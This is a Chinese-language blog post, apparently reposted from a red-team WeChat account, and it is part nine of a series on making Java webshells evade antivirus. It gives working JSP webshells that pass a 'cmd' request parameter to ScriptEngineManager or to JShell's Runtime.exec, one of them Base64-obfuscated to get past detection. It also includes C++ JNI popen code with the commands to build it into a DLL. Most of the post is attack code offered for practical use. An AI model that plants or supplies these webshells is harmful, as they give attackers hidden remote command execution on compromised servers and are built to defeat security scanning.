什么?你还不会webshell免杀?(九)

admin 2022年10月10日11:53:36评论20 views字数 4168阅读13分53秒阅读模式

API免杀

ScriptEngineManager命令执行免杀

ScriptEngineManager执行js代码

利用ScriptEngineManager可以执行js命令,但是由于一般情况下,即便能运行js代码也不一定能执行系统命令。因为一般情况下js执行系统命令主要是依靠两种方式,IE的ActiveX插件和node.js,然而ScriptEngineManager并非浏览器,很多内置函数都没有,导致很难执行系统命令。

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%
  String cmd = request.getParameter("cmd");
  ScriptEngineManager mgr = new ScriptEngineManager();
  ScriptEngine engine = mgr.getEngineByName("JavaScript");
  String foo = cmd;
  response.getWriter().println(engine.eval(foo));
%>

ScriptEngineManager执行python代码

利用ScriptEngineManager可以执行python命令,想执行python代码的条件是目标机器存在python2的环境,不接安装了jython依赖,经过测试发现,利用jython并不能使用os.system,os.popen等命令执行函数,但一些文件操作还是可以利用的,以此很难利用

public static void runPythonScript() {
 try (FileReader fr = new FileReader("test.py")) {
  ScriptEngineManager manager = new ScriptEngineManager();
  ScriptEngine engine = manager.getEngineByName("python");
  engine.eval(fr);
 } catch (Exception ex) {
  ex.printStackTrace();
 }       
}

JNI执行c/c++代码

由于生成dll可能会出现问题,浪费大家时间,这里直接给出源代码以及生成命令

Demo.h

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class naihe_Demo */

#ifndef _Included_naihe_Demo
#define _Included_naihe_Demo
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     naihe_Demo
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */

JNIEXPORT jstring JNICALL Java_naihe_Demo_exec
  (JNIEnv *, jobject, jstring)
;

#ifdef __cplusplus
}
#endif
#endif

Demo.h生成:

javac Demo.java  #编译成class文件
javah Demo       #生成头文件

Demo.cpp

#include "stdlib.h"
#include "stdio.h"
#include <iostream>
#include <string.h>
#include "Java_Demo_exec.h"
#include "jni.h"

JNIEXPORT jstring
JNICALL Java_Demo_exec(JNIEnv *env,jobject obj,jstring str)
{
 const char *cmd = env->GetStringUTFChars(str, 0);
    FILE *fd  = popen(cmd, "r");

    if (fd != NULL) {
        char buf[1024];
  char result[4096];
        while (fgets(buf, sizeof(buf), fd) != NULL) {
            strcat(result,buf);
   
        }
        return env->NewStringUTF(result);
 }
    return env->NewStringUTF("");
}

这里的Demo.cpp直接当模板改就行了

生成Dll:(注意路径)

gcc -Wl,--add-stdcall-alias -I"C:Program Files (x86)Javajdk1.8.0_341include" -I"C:Program Files (x86)Javajdk1.8.0_341includewin32" -shared -o Demo.dll Demo.dll

Demo.class

class Demo {
    public Demo(){
        System.load("C:\Users\12107\Desktop\免杀\web\src\Naihe.dll");
    }
    public native String exec(String cms);

    public static void main(String[] args) {
        System.out.println(new Demo().exec("whoami"));
    }
}

什么?你还不会webshell免杀?(九)

按照正常套路,应该是直接移殖到jsp上,代码如下

<%
  String cmd = request.getParameter("cmd");
  class Demo {
    public Demo(){
      System.load("C:\Users\12107\Desktop\免杀\web\src\Naihe.dll");
    }
    public native String exec(String cms);
    }
  response.getWriter().println(new Demo().exec(cmd));
%>

什么?你还不会webshell免杀?(九)

但发现并不能正常运行,通过分析发现原因还是在DLL上,由于在生成DLL时类的全限定名,已经写死了,导致在jsp中定义的类的全限定名与DLL中的不一致,导致无法正常运行。为了时全限定名一致,笔者使用字节码进行加载,但可惜的是,本地方法(native)并本来通过反射调用。最后得出结论,jni是无法作为webshell来执行命令的

JShell

由于Jshell是jdk9及以上版本才有的新功能,因此适用面不是特别广,但依旧值得一试。

<%@ page import="java.util.List" %>
<%@ page import="jdk.jshell.SnippetEvent" %>
<%
  String cmd = request.getParameter("cmd");
  List list = jdk.jshell.JShell.builder().build().eval("new String(Runtime.getRuntime().exec(""+cmd+"").getInputStream().readAllBytes())");
  SnippetEvent snippetEvent = (SnippetEvent) list.get(0);
  response.getWriter().println(snippetEvent.value());
%>
<%@ page import="java.util.List" %>
<%@ page import="jdk.jshell.SnippetEvent" %>
<%@ page import="java.util.Base64" %>
<%
  String cmd = request.getParameter("cmd");
  List list = jdk.jshell.JShell.builder().build().eval(new String(Base64.getDecoder().decode("bmV3IFN0cmluZyhSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCI=")) +cmd+ new String(Base64.getDecoder().decode("IikuZ2V0SW5wdXRTdHJlYW0oKS5yZWFkQWxsQnl0ZXMoKSk=")));
  SnippetEvent snippetEvent = (SnippetEvent) list.get(0);
  response.getWriter().println(snippetEvent.value());
%>

什么?你还不会webshell免杀?(九)

免杀效果:

什么?你还不会webshell免杀?(九)


什么?你还不会webshell免杀?(九)

总结:本文讲解了一下,利用一些不常用的api进行命令执行,达到免杀的效果,但是由于利用条件苛刻,在实战中不太容易用到,不过这也不是无意义的,说不定在你一筹莫展的时候会给你带来新的思路。

往期推荐

什么?你还不会webshell免杀?(八)

什么?你还不会webshell免杀?(七)

什么?你还不会webshell免杀?(六)

什么?你还不会webshell免杀?(五)

什么?你还不会webshell免杀?(四)

什么?你还不会webshell免杀?(三)

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(一)

什么?你还不会webshell免杀?(九)

原文始发于微信公众号(红队蓝军):什么?你还不会webshell免杀?(九)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月10日11:53:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   什么?你还不会webshell免杀?(九)https://cn-sec.com/archives/1340819.html

发表评论

匿名网友 填写信息